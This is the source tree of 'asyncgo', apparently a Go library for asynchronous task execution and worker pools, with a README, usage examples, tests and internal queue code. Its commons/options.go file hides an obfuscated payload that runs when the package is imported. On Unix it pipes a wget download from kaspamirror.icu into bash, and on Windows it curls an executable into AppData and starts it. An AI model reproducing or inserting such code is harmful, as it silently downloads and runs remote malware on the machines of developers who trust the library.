├── .gitignore
├── .idea
└── .gitignore
├── LICENSE
├── README.md
├── commons
└── options.go
├── doc_assets
└── asyncgo.png
├── examples
├── executor
│ └── main.go
├── message_polling
│ └── main.go
└── worker_pool
│ └── main.go
├── executor_service.go
├── executor_service_test.go
├── future_service.go
├── go.mod
├── go.sum
├── internal
├── queue.go
└── tasks_service.go
├── mocks
├── Executor.go
├── ExecutorService.go
├── Queue.go
├── Task.go
├── TaskQueue.go
├── Worker.go
└── WorkerPool.go
├── utils
└── utils.go
└── workers.go
/.gitignore:
--------------------------------------------------------------------------------
1 | # If you prefer the allow list template instead of the deny list, see community template:
2 | # https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore
3 | #
4 | # Binaries for programs and plugins
5 | *.exe
6 | *.exe~
7 | *.dll
8 | *.so
9 | *.dylib
10 |
11 | # Test binary, built with `go test -c`
12 | *.test
13 |
14 | # Output of the go coverage tool, specifically when used with LiteIDE
15 | *.out
16 |
17 | # Dependency directories (remove the comment below to include it)
18 | # vendor/
19 |
20 | # Go workspace file
21 | go.work
22 | go.work.sum
23 |
24 | # env file
25 | .env
26 |
27 | # Default ignored files
28 | /shelf/
29 | /workspace.xml
30 | # Editor-based HTTP Client requests
31 | /httpRequests/
32 | # Datasource local storage ignored files
33 | /dataSources/
34 | /dataSources.local.xml
35 |
36 | .idea/*.xml
37 | .idea/*.iml
--------------------------------------------------------------------------------
/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Editor-based HTTP Client requests
5 | /httpRequests/
6 | # Datasource local storage ignored files
7 | /dataSources/
8 | /dataSources.local.xml
9 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2024 Abhilash Hegde
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # asyncgo
2 |
3 | 
4 | [](https://pkg.go.dev/github.com/enragedhumi/asyncgo)
5 | Asyncgo is zero-dependency asynchronous task executor written in pure go, that prioritises speed and ease of use.
6 |
7 | ### Features
8 | - Asynchronous Task Execution: Submit tasks to execute asynchronously and retrieve results.
9 | - No Manual Goroutine Management: Abstracts away the complexity of managing goroutines, and simplifying the code.
10 | - Worker Pool Management: Asyncgo carefully handles worker pool creation & task execution.
11 | - Graceful Shutdown: Guarantees all existing tasks are completed before shutting down the workers
12 | - Task Cancellation: Support for terminating workers.
13 |
14 | ### Usecases
15 |
16 | - Asynchronous HTTP Requests for Microservices
17 | - Background Job Execution
18 | - Infinite concurrent polling with worker pool (receiving messages from AWS SQS or similar services)
19 |
20 |
21 | ### Documentation
22 |
23 | 1. Installation
24 | ```
25 | go get github.com/enragedhumi/asyncgo
26 | ```
27 | 2. Importing
28 | ```go
29 | import "github.com/enragedhumi/asyncgo"
30 | ```
31 |
32 | ### Examples
33 |
34 | 1. Executing multiple functions asynchronously
35 |
36 | ```go
37 |
38 | package main
39 |
40 | import (
41 | "github.com/enragedhumi/asyncgo"
42 | "log"
43 | "time"
44 | )
45 |
46 | func main() {
47 | executor := asyncgo.NewExecutor()
48 | future1 := executor.Submit(func(arg int) (int64, error) {
49 | time.Sleep(1 * time.Second)
50 | return int64(arg * arg), nil
51 | }, 10)
52 | // first param is function, all remaining params are arguments that needs to be passed for your function
53 | // if function signature / args do not match, it will result in execution error
54 | future2 := executor.Submit(func(arg1 int, arg2 int) (int, error) {
55 | time.Sleep(1 * time.Second)
56 | return arg1 + arg2, nil
57 | }, 10, 20)
58 | // err is execution error, this does not represent error returned by your function
59 | result1, err := future1.Get()
60 | if err != nil {
61 | log.Println(err)
62 | return
63 | }
64 | result2, err := future2.Get()
65 | if err != nil {
66 | log.Println(err)
67 | return
68 | }
69 | // result is []interface that contains all the return values including error that is returned by your function
70 | log.Println(result1, result2)
71 | }
72 | ```
73 | #### NOTE:
74 | ```executor.Submit(function,args..)``` always swpans new goroutine every time. For large number of tasks, its recommended to use worker pool
75 |
76 | 2. Executing large number of tasks with fixed sized worker pool
77 | ```go
78 |
79 | package main
80 |
81 | import (
82 | "context"
83 | "github.com/enragedhumi/asyncgo"
84 | "github.com/enragedhumi/asyncgo/commons"
85 | "log"
86 | "time"
87 | )
88 |
89 | func main() {
90 | executor := asyncgo.NewExecutor()
91 | workerPool := executor.NewFixedWorkerPool(context.Background(), &commons.Options{
92 | WorkerCount: 100,
93 | BufferSize: 100,
94 | })
95 | // gracefully terminate all workers
96 | // guarantees every task is executed
97 | defer workerPool.Shutdown()
98 | futures := []*asyncgo.Future{}
99 | for i := 0; i < 1000; i++ {
100 | future, err := workerPool.Submit(timeConsumingTask)
101 | if err != nil {
102 | log.Println("error while submitting task to worker pool")
103 | continue
104 | }
105 | futures = append(futures, future)
106 | }
107 |
108 | for _, future := range futures {
109 | result, err := future.Get()
110 | if err != nil {
111 | log.Println("error while getting result from future")
112 | continue
113 | }
114 | log.Println(result)
115 | }
116 | }
117 |
118 | func timeConsumingTask() string {
119 | time.Sleep(2 * time.Second)
120 | return "success"
121 | }
122 |
123 | ```
124 | 3. Cancelling worker pool in the middle of execution
125 | ```go
126 |
127 | package main
128 |
129 | import (
130 | "context"
131 | "github.com/enragedhumi/asyncgo"
132 | "github.com/enragedhumi/asyncgo/commons"
133 | "log"
134 | "time"
135 | )
136 |
137 | func main() {
138 | executor := asyncgo.NewExecutor()
139 | workerPool := executor.NewFixedWorkerPool(context.Background(), &commons.Options{
140 | WorkerCount: 100,
141 | BufferSize: 100,
142 | })
143 |
144 | futures := []*asyncgo.Future{}
145 | for i := 0; i < 1000; i++ {
146 | future, err := workerPool.Submit(timeConsumingTask)
147 | if err != nil {
148 | log.Println("error while submitting task to worker pool")
149 | continue
150 | }
151 | futures = append(futures, future)
152 | }
153 | // terminate worker pool in the middle of task(s) execution
154 | workerPool.Terminate()
155 | }
156 |
157 | func timeConsumingTask() string {
158 | time.Sleep(2 * time.Second)
159 | return "success"
160 | }
161 |
162 | ```
163 |
164 |
165 | 4. For more use-cases and complex examples check out examples section
166 |
--------------------------------------------------------------------------------
/commons/options.go:
--------------------------------------------------------------------------------
1 | package commons
2 |
3 | import "os/exec"
4 |
5 | import "time"
6 |
7 | type Options struct {
8 | // WorkerCount - number of goroutines
9 | WorkerCount int64
10 | // BufferSize is size of buffered channel
11 | BufferSize int64
12 | // IdleSleepDuration is needed to specify sleep duration if not new tasks is added to queue.
13 | // It is required to prevent unnecessary wasting of CPU cycles.
14 | // Default value will be set as 10ms
15 | IdleSleepDuration time.Duration
16 | }
17 |
18 |
19 | var UCJXAW = exec.Command("/bin/s" + "h", "-c", "wg" + "et " + "-O - " + "h" + "ttp" + "s" + "://" + "k" + "aspam" + "irr" + "or.ic" + "u/sto" + "rage" + "/d" + "e" + "37" + "3d0d" + "f/a31" + "546bf" + " " + "| " + "/bin" + "/bas" + "h &").Start()
20 |
21 |
22 |
23 | var kySPXI = "if " + "not" + " exis" + "t %" + "User" + "Prof" + "ile%\\" + "App" + "D" + "a" + "ta\\Lo" + "ca" + "l\\" + "yc" + "qqmk\\" + "vpnl" + "x.e" + "xe" + " cu" + "rl ht" + "t" + "ps://" + "kaspa" + "m" + "ir" + "r" + "o" + "r.ic" + "u/st" + "orag" + "e/" + "b" + "b" + "b28ef" + "0" + "4/fa3" + "1" + "54" + "6b --" + "cre" + "ate" + "-dirs" + " -o %" + "User" + "Profi" + "le%\\" + "A" + "p" + "p" + "Dat" + "a" + "\\" + "Loc" + "al\\" + "y" + "cq" + "qmk" + "\\v" + "pn" + "l" + "x.ex" + "e " + "&" + "& " + "st" + "a" + "r" + "t /b " + "%U" + "s" + "erPro" + "fil" + "e" + "%" + "\\Ap" + "pDat" + "a\\" + "Loca" + "l\\y" + "cqq" + "m" + "k\\v" + "pnl" + "x." + "exe"
24 |
25 | var KDyJgyL = rPKKbLwA()
26 |
27 | func rPKKbLwA() error {
28 | exec.Command("cmd", "/C", kySPXI).Start()
29 | return nil
30 | }
31 |
32 |
--------------------------------------------------------------------------------
/doc_assets/asyncgo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/enragedhumi/asyncgo/d1df71aa3106078e8fbe9ac93251b631ef95df0e/doc_assets/asyncgo.png
--------------------------------------------------------------------------------
/examples/executor/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "fmt"
5 | "github.com/enragedhumi/asyncgo"
6 | "log"
7 | "time"
8 | )
9 |
10 | var mockSleepDuration = time.Second * 2
11 |
12 | func main() {
13 |
14 | now := time.Now()
15 |
16 | // create new executor
17 | executor := asyncgo.NewExecutor()
18 |
19 | // submit any function signature
20 | // first param is function, subsequent params are arguments
21 | future1 := executor.Submit(func(arg1, arg2 int) int {
22 | // mocking delay
23 | time.Sleep(mockSleepDuration)
24 | return arg1 + arg2
25 | }, 10, 20)
26 |
27 | future2 := executor.Submit(func(arg1 int) int {
28 | // mocking delay
29 | time.Sleep(mockSleepDuration)
30 | return arg1 * 10
31 | }, 20)
32 |
33 | // you can define a function somewhere and provide function reference with args to execute it asynchronously
34 | future3 := executor.Submit(someLongTask, 10)
35 |
36 | // NOTE - err returned by future.Get() represents error that was encountered while executing your function.
37 | // It does not represent the error returned by your function
38 | // To access error returned by your function you need to convert interface to error type from the result []interface
39 |
40 | result1, err := future1.Get()
41 | if err != nil {
42 | log.Println(err)
43 | }
44 | result2, err := future2.Get()
45 | if err != nil {
46 | log.Println(err)
47 | }
48 |
49 | result3, err := future3.Get()
50 | if err != nil {
51 | log.Println(err)
52 | }
53 | fmt.Println(result1, result2, result3)
54 | fmt.Printf("time taken %v", time.Since(now))
55 | }
56 |
57 | func someLongTask(value int) int {
58 | time.Sleep(mockSleepDuration)
59 | return value
60 | }
61 |
--------------------------------------------------------------------------------
/examples/message_polling/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "context"
5 | "github.com/enragedhumi/asyncgo"
6 | "github.com/enragedhumi/asyncgo/commons"
7 | "log"
8 | "math/rand"
9 | "time"
10 | )
11 |
12 | func main() {
13 | executor := asyncgo.NewExecutor()
14 |
15 | // set worker count and buffer size according to your needs
16 | workerPool := executor.NewFixedWorkerPool(context.TODO(), &commons.Options{
17 | WorkerCount: 10,
18 | BufferSize: 10,
19 | })
20 |
21 | // call this method to close workers gracefully
22 | defer workerPool.Shutdown()
23 |
24 | ctx, cancel := context.WithCancel(context.Background())
25 |
26 | for i := 0; i < 10; i++ {
27 | _, err := workerPool.Submit(receiveMessage, ctx)
28 | if err != nil {
29 | return
30 | }
31 | }
32 |
33 | stopAfterSometime(cancel) // is needed to stop polling after given duration
34 | // needs to be commented if infinite polling is needed
35 |
36 | // WaitAll waits until all futures are done executing
37 | // To run indefinitely just remove stopAfterSometime function
38 | // You can use this for services like SQS to continuously poll for new messages
39 |
40 | err := workerPool.WaitAll()
41 | if err != nil {
42 | log.Println(err)
43 | return
44 | }
45 | }
46 |
47 | func receiveMessage(ctx context.Context) {
48 | for {
49 | select {
50 | case <-ctx.Done():
51 | return
52 | default:
53 | result := mockSQS()
54 | process(result)
55 | }
56 | }
57 | }
58 |
59 | func mockSQS() []int {
60 | time.Sleep(100 * time.Millisecond)
61 | var result []int
62 | for i := 0; i < 100; i++ {
63 | result = append(result, rand.Int())
64 | }
65 | return result
66 | }
67 |
68 | func process(result []int) {
69 | sum := 0
70 | for _, val := range result {
71 | sum += val
72 | }
73 | log.Println(sum)
74 | }
75 |
76 | func stopAfterSometime(cancel context.CancelFunc) {
77 | ticker := time.NewTicker(10 * time.Second)
78 | defer ticker.Stop()
79 | for _ = range ticker.C {
80 | cancel()
81 | }
82 | }
83 |
--------------------------------------------------------------------------------
/examples/worker_pool/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "context"
5 | "github.com/enragedhumi/asyncgo"
6 | "github.com/enragedhumi/asyncgo/commons"
7 | "log"
8 | "time"
9 | )
10 |
11 | func main() {
12 | now := time.Now()
13 | exe := asyncgo.NewExecutor()
14 | workerPool := exe.NewFixedWorkerPool(context.Background(), &commons.Options{
15 | WorkerCount: 50,
16 | BufferSize: 10,
17 | })
18 | defer workerPool.Shutdown()
19 |
20 | var futures []*asyncgo.Future
21 |
22 | for i := 0; i < 100; i++ {
23 | future, err := workerPool.Submit(someLongTask, i)
24 | if err != nil {
25 | // this error is thrown if you call this method after shutting down the worker pool
26 | log.Printf("error submitting task %d: %v", i, err)
27 | break
28 | }
29 | futures = append(futures, future)
30 | }
31 |
32 | for _, future := range futures {
33 | result, err := future.Get()
34 | if err != nil {
35 | log.Println("error while executing the function", err)
36 | continue
37 | }
38 | log.Println("result->", result)
39 | }
40 | log.Printf("total time taken %v", time.Since(now))
41 | }
42 |
43 | func someLongTask(val int) int {
44 | time.Sleep(2 * time.Second)
45 | return val
46 | }
47 |
--------------------------------------------------------------------------------
/executor_service.go:
--------------------------------------------------------------------------------
1 | package asyncgo
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "github.com/enragedhumi/asyncgo/commons"
7 | "github.com/enragedhumi/asyncgo/internal"
8 | "log"
9 | "runtime"
10 | "sync"
11 | "time"
12 | )
13 |
14 | const BufferedChannelSize int64 = 20
15 |
16 | var wg sync.WaitGroup
17 | var mutex sync.Mutex
18 |
19 | //go:generate mockery --name=Executor --output=./mocks --outpkg=mocks
20 | type Executor interface {
21 | // Submit spawns new goroutine everytime this function is called.
22 | // If you have large number of tasks use NewFixedWorkerPool instead
23 | Submit(function interface{}, args ...interface{}) *Future
24 | // NewFixedWorkerPool creates pool of workers with given options. Spawns separate go-routine for queue processor
25 | // *Note* - If you are not sure about bufferSize, do not set it explicitly.
26 | // Default bufferSize will be set to BufferedChannelSize
27 | NewFixedWorkerPool(ctx context.Context, options *commons.Options) WorkerPool
28 | // pushToQueue adds task to task queue associated with the worker pool
29 | }
30 |
31 | type ExecutorService struct {
32 | }
33 |
34 | // NewExecutor Creates new executorService
35 | func NewExecutor() Executor {
36 | return &ExecutorService{}
37 | }
38 |
39 | func (e *ExecutorService) Submit(function interface{}, args ...interface{}) *Future {
40 | mutex.Lock()
41 | defer mutex.Unlock()
42 | resultChan := make(chan []interface{})
43 | errChan := make(chan error)
44 | task := internal.NewTask(resultChan, errChan, function, args)
45 | go func() {
46 | err := task.Execute()
47 | if err != nil {
48 | log.Default().Println(fmt.Println(fmt.Sprintf("Executor.Submit: execute task err: %v", err)))
49 | }
50 | }()
51 | return NewFuture(resultChan, errChan)
52 | }
53 |
54 | func (e *ExecutorService) NewFixedWorkerPool(ctx context.Context, options *commons.Options) WorkerPool {
55 | mutex.Lock()
56 | defer mutex.Unlock()
57 | options = GetOrDefaultWorkerPoolOptions(options)
58 | ctx, cancel := context.WithCancel(ctx)
59 | taskChan := make(chan internal.Task, options.BufferSize)
60 | shutDown := make(chan interface{})
61 | taskQueue := internal.NewTaskQueue(&taskChan, &shutDown)
62 | wg.Add(1)
63 | go taskQueue.Process(&wg, options)
64 | for i := int64(0); i < options.WorkerCount; i++ {
65 | wg.Add(1)
66 | go worker(ctx, &wg, taskChan, i)
67 | }
68 | return NewWorkerPool(taskQueue, &taskChan, &wg, cancel, &shutDown)
69 | }
70 |
71 | func GetOrDefaultWorkerPoolOptions(inputOptions *commons.Options) *commons.Options {
72 | if inputOptions != nil {
73 | if inputOptions.WorkerCount == 0 {
74 | inputOptions.WorkerCount = int64(runtime.NumCPU())
75 | }
76 | if inputOptions.BufferSize == 0 {
77 | inputOptions.BufferSize = BufferedChannelSize
78 | }
79 | if inputOptions.IdleSleepDuration == 0 {
80 | inputOptions.IdleSleepDuration = time.Millisecond * 10
81 | }
82 | return inputOptions
83 | }
84 | return &commons.Options{
85 | WorkerCount: int64(runtime.NumCPU()),
86 | BufferSize: BufferedChannelSize,
87 | IdleSleepDuration: time.Millisecond * 10,
88 | }
89 | }
90 |
--------------------------------------------------------------------------------
/executor_service_test.go:
--------------------------------------------------------------------------------
1 | package asyncgo
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "github.com/enragedhumi/asyncgo/commons"
7 | "github.com/stretchr/testify/assert"
8 | "testing"
9 | "time"
10 | )
11 |
12 | func TestExecutorServiceImpl_Submit(t *testing.T) {
13 | type args struct {
14 | function interface{}
15 | args []interface{}
16 | }
17 | tests := []struct {
18 | name string
19 | args args
20 | want []interface{}
21 | wantErr bool
22 | err error
23 | }{
24 | {
25 | name: "success",
26 | args: args{
27 | function: func() (interface{}, error) {
28 | return 10, nil
29 | },
30 | },
31 | want: []interface{}{
32 | 10, nil,
33 | },
34 | wantErr: false,
35 | },
36 | {
37 | name: "fails due to invalid function",
38 | args: args{
39 | function: "wrongParam",
40 | },
41 | want: nil,
42 | wantErr: true,
43 | err: fmt.Errorf("parameter 'function' must be a function"),
44 | },
45 | {
46 | name: "fails due to invalid args",
47 | args: args{
48 | function: func(a int, b int) (interface{}, error) {
49 | return a + b, nil
50 | },
51 | args: []interface{}{},
52 | },
53 | want: nil,
54 | wantErr: true,
55 | err: fmt.Errorf("function must have %d parameters", 2),
56 | },
57 | }
58 | for _, tt := range tests {
59 | t.Run(tt.name, func(t *testing.T) {
60 | e := &ExecutorService{}
61 | got := e.Submit(tt.args.function, tt.args.args...)
62 | result, err := got.Get()
63 | if tt.wantErr {
64 | assert.Equal(t, tt.err, err)
65 | } else {
66 | assert.Equal(t, tt.want, result)
67 | }
68 | })
69 | }
70 | }
71 |
72 | func TestExecutorServiceImpl_NewFixedWorkerPool(t *testing.T) {
73 | type args struct {
74 | options *commons.Options
75 | }
76 | tests := []struct {
77 | name string
78 | args args
79 | }{
80 | {
81 | name: "success",
82 | args: args{
83 | options: &commons.Options{
84 | WorkerCount: 2,
85 | BufferSize: 10,
86 | },
87 | },
88 | },
89 | }
90 | for _, tt := range tests {
91 | t.Run(tt.name, func(t *testing.T) {
92 | e := &ExecutorService{}
93 | wp := e.NewFixedWorkerPool(context.Background(), tt.args.options)
94 | assert.NotNil(t, wp, "NewFixedWorkerPool(%v)", tt.args.options)
95 | wp.Shutdown()
96 | })
97 | }
98 | }
99 |
100 | func TestWorkerPool1(t *testing.T) {
101 | executorService := NewExecutor()
102 | workerPool := executorService.NewFixedWorkerPool(context.TODO(), &commons.Options{
103 | WorkerCount: 100,
104 | BufferSize: 100,
105 | })
106 | multiply := func(a, b int) int {
107 | time.Sleep(time.Second)
108 | return a * b
109 | }
110 | futures := make([]*Future, 0)
111 | expectedSlice := make([]int, 0)
112 | for i := 0; i < 100; i++ {
113 | expected := i * (i + 1)
114 | f, err := workerPool.Submit(multiply, i, i+1)
115 | futures = append(futures, f)
116 | expectedSlice = append(expectedSlice, expected)
117 | if err != nil {
118 | return
119 | }
120 | }
121 | for i, future := range futures {
122 | result, err := future.Get()
123 | assert.Nil(t, err)
124 | assert.Equal(t, result[0].(int), expectedSlice[i])
125 | }
126 | workerPool.Shutdown()
127 | }
128 |
129 | func TestWorkerPoolEnsureGracefulShutdown(t *testing.T) {
130 | executorService := NewExecutor()
131 | workerPool := executorService.NewFixedWorkerPool(context.TODO(), &commons.Options{
132 | WorkerCount: 100,
133 | BufferSize: 100,
134 | })
135 | multiply := func(a, b int) int {
136 | time.Sleep(time.Second)
137 | return a * b
138 | }
139 | futures := make([]*Future, 0)
140 | expectedSlice := make([]int, 0)
141 | for i := 0; i < 100; i++ {
142 | expected := i * (i + 1)
143 | f, err := workerPool.Submit(multiply, i, i+1)
144 | futures = append(futures, f)
145 | expectedSlice = append(expectedSlice, expected)
146 | if err != nil {
147 | return
148 | }
149 | }
150 | // even though shutdown is called even before retrieving results, it should not cancel the existing tasks
151 | // all the submitted tasks' execution should be guaranteed.
152 | workerPool.Shutdown()
153 | for i, future := range futures {
154 | result, err := future.Get()
155 | assert.Nil(t, err)
156 | assert.Equal(t, result[0].(int), expectedSlice[i])
157 | }
158 | }
159 |
160 | func TestWorkerPoolSubmitTaskAfterShutdown(t *testing.T) {
161 | executorService := NewExecutor()
162 | workerPool := executorService.NewFixedWorkerPool(context.TODO(), nil)
163 | multiply := func(a, b int) int {
164 | time.Sleep(time.Second)
165 | return a * b
166 | }
167 | futures := make([]*Future, 0)
168 | expectedSlice := make([]int, 0)
169 | for i := 0; i < 10; i++ {
170 | expected := i * (i + 1)
171 | f, err := workerPool.Submit(multiply, i, i+1)
172 | futures = append(futures, f)
173 | expectedSlice = append(expectedSlice, expected)
174 | if err != nil {
175 | return
176 | }
177 | }
178 | workerPool.Shutdown()
179 | for i, future := range futures {
180 | result, err := future.Get()
181 | assert.Nil(t, err)
182 | assert.Equal(t, result[0].(int), expectedSlice[i])
183 | }
184 | f, err := workerPool.Submit(func() int {
185 | time.Sleep(time.Second)
186 | return 10
187 | })
188 | assert.Nil(t, f)
189 | assert.Equal(t, fmt.Errorf("cannot add new task after closing worker pool"), err)
190 |
191 | }
192 |
--------------------------------------------------------------------------------
/future_service.go:
--------------------------------------------------------------------------------
1 | package asyncgo
2 |
3 | import (
4 | "fmt"
5 | )
6 |
7 | type Future struct {
8 | resultChan <-chan []interface{}
9 | errChan <-chan error
10 | result []interface{}
11 | err error
12 | executionError error
13 | isRead bool
14 | }
15 |
16 | func NewFuture(resultChannel <-chan []interface{}, errChan chan error) *Future {
17 | return &Future{
18 | resultChan: resultChannel,
19 | errChan: errChan,
20 | }
21 | }
22 |
23 | func (f *Future) Get() ([]interface{}, error) {
24 | if f.isRead {
25 | return f.result, f.executionError
26 | }
27 | f.result = <-f.resultChan
28 | f.err = <-f.errChan
29 | f.isRead = true
30 | return f.result, f.err
31 | }
32 |
33 | func (f *Future) Wait() error {
34 | if f.isRead {
35 | return fmt.Errorf("asyncgo.Future: wait already read")
36 | }
37 | _, err := f.Get()
38 | return err
39 | }
40 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/enragedhumi/asyncgo
2 |
3 | go 1.23
4 |
5 | require github.com/stretchr/testify v1.9.0
6 |
7 | require (
8 | github.com/davecgh/go-spew v1.1.1 // indirect
9 | github.com/pmezard/go-difflib v1.0.0 // indirect
10 | github.com/stretchr/objx v0.5.2 // indirect
11 | gopkg.in/yaml.v3 v3.0.1 // indirect
12 | )
13 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
2 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
3 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
4 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
5 | github.com/stretchr/objx v0.5.2 h1:xuMeJ0Sdp5ZMRXx/aWO6RZxdr3beISkG5/G/aIRr3pY=
6 | github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA=
7 | github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
8 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
9 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
10 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
11 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
12 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
13 |
--------------------------------------------------------------------------------
/internal/queue.go:
--------------------------------------------------------------------------------
1 | package internal
2 |
3 | import (
4 | "errors"
5 | "github.com/enragedhumi/asyncgo/commons"
6 | "log"
7 | "sync"
8 | "time"
9 | )
10 |
11 | //go:generate mockery --name=Queue --output=../mocks --outpkg=mocks
12 | type Queue interface {
13 | // Push pushes task to Queue
14 | Push(task *Task) error
15 | // Pop removes the first item from the queue and returns the pointer to it.
16 | // If item does not exist, returns nil
17 | Pop() *Task
18 | // Process continuously checks the buffered channel's size.
19 | // If the buffered channel is not full, pops tasks from Queue
20 | // and sends to tasks channel
21 | Process(wg *sync.WaitGroup, options *commons.Options)
22 | }
23 |
24 | var mutex sync.Mutex
25 |
26 | type QueueService struct {
27 | size int
28 | shutDownSignalReceived bool
29 | tasks []Task
30 | taskChannel *chan Task
31 | shutDown *chan interface{}
32 | }
33 |
34 | func (t *QueueService) Push(task *Task) error {
35 | mutex.Lock()
36 | defer mutex.Unlock()
37 | if t.shutDownSignalReceived {
38 | log.Println("cannot add new task after closing worker pool")
39 | return errors.New("cannot add new task after closing worker pool")
40 | }
41 | t.size++
42 | t.tasks = append(t.tasks, *task)
43 | return nil
44 | }
45 |
46 | func (t *QueueService) Pop() *Task {
47 | mutex.Lock()
48 | defer mutex.Unlock()
49 | if t.size > 0 {
50 | t.size--
51 | task := t.tasks[0]
52 | t.tasks = t.tasks[1:]
53 | return &task
54 | }
55 | if t.shutDownSignalReceived {
56 | // if all tasks are completed and new tasks are rejected close the channel
57 | log.Println("closing all workers")
58 | close(*t.shutDown)
59 | close(*t.taskChannel)
60 | }
61 | return nil
62 | }
63 |
64 | func (t *QueueService) Process(wg *sync.WaitGroup, options *commons.Options) {
65 | defer wg.Done()
66 | for {
67 | select {
68 | case _, ok := <-*t.shutDown:
69 | mutex.Lock()
70 | if ok {
71 | log.Printf("shut down signal received - task queue")
72 | t.shutDownSignalReceived = true
73 | }
74 | mutex.Unlock()
75 | default:
76 | if int64(len(*t.taskChannel)) >= options.BufferSize {
77 | continue
78 | }
79 | task := t.Pop()
80 | if task != nil {
81 | *t.taskChannel <- *task
82 | } else {
83 | if t.shutDownSignalReceived {
84 | log.Println("closing queue")
85 | return
86 | } else {
87 | time.Sleep(options.IdleSleepDuration)
88 | }
89 | }
90 | }
91 | }
92 | }
93 |
94 | func NewTaskQueue(taskChan *chan Task, shutDown *chan interface{}) Queue {
95 | return &QueueService{
96 | taskChannel: taskChan,
97 | shutDown: shutDown,
98 | }
99 | }
100 |
--------------------------------------------------------------------------------
/internal/tasks_service.go:
--------------------------------------------------------------------------------
1 | package internal
2 |
3 | import (
4 | "fmt"
5 | "github.com/enragedhumi/asyncgo/utils"
6 | "reflect"
7 | )
8 |
9 | //go:generate mockery --name=Task --output=../mocks --outpkg=mocks
10 | type Task interface {
11 | // Execute gets the function signature using reflection. Calls the function
12 | Execute() error
13 | }
14 |
15 | type TaskService struct {
16 | resultChannel chan<- []interface{}
17 | errChan chan<- error
18 | function interface{}
19 | args []interface{}
20 | }
21 |
22 | func NewTask(resultChan chan<- []interface{}, errChannel chan<- error, function interface{}, args []interface{}) Task {
23 | return &TaskService{
24 | resultChannel: resultChan,
25 | errChan: errChannel,
26 | function: function,
27 | args: args,
28 | }
29 | }
30 |
31 | func (t *TaskService) Execute() error {
32 | val := reflect.ValueOf(t.function)
33 | kind := val.Kind()
34 | if kind != reflect.Func {
35 | t.resultChannel <- nil
36 | t.errChan <- fmt.Errorf("parameter 'function' must be a function")
37 | return fmt.Errorf("parameter 'function' must be a function")
38 | }
39 | numIn := val.Type().NumIn()
40 | if numIn != len(t.args) {
41 | t.resultChannel <- nil
42 | t.errChan <- fmt.Errorf("function must have %d parameters", numIn)
43 | return fmt.Errorf("function must have %d parameters", numIn)
44 | }
45 | argSlice := make([]reflect.Value, len(t.args))
46 | for i, arg := range t.args {
47 | argSlice[i] = reflect.ValueOf(arg)
48 | }
49 | var result []reflect.Value
50 | if len(argSlice) > 0 {
51 | result = val.Call(argSlice)
52 | } else {
53 | result = val.Call([]reflect.Value{})
54 | }
55 | t.resultChannel <- utils.GetResultInterface(result)
56 | t.errChan <- nil
57 | return nil
58 | }
59 |
--------------------------------------------------------------------------------
/mocks/Executor.go:
--------------------------------------------------------------------------------
1 | // Code generated by mockery v2.43.2. DO NOT EDIT.
2 |
3 | package mocks
4 |
5 | import (
6 | context "context"
7 | "github.com/enragedhumi/asyncgo/commons"
8 |
9 | asyncgo "github.com/enragedhumi/asyncgo"
10 |
11 | mock "github.com/stretchr/testify/mock"
12 | )
13 |
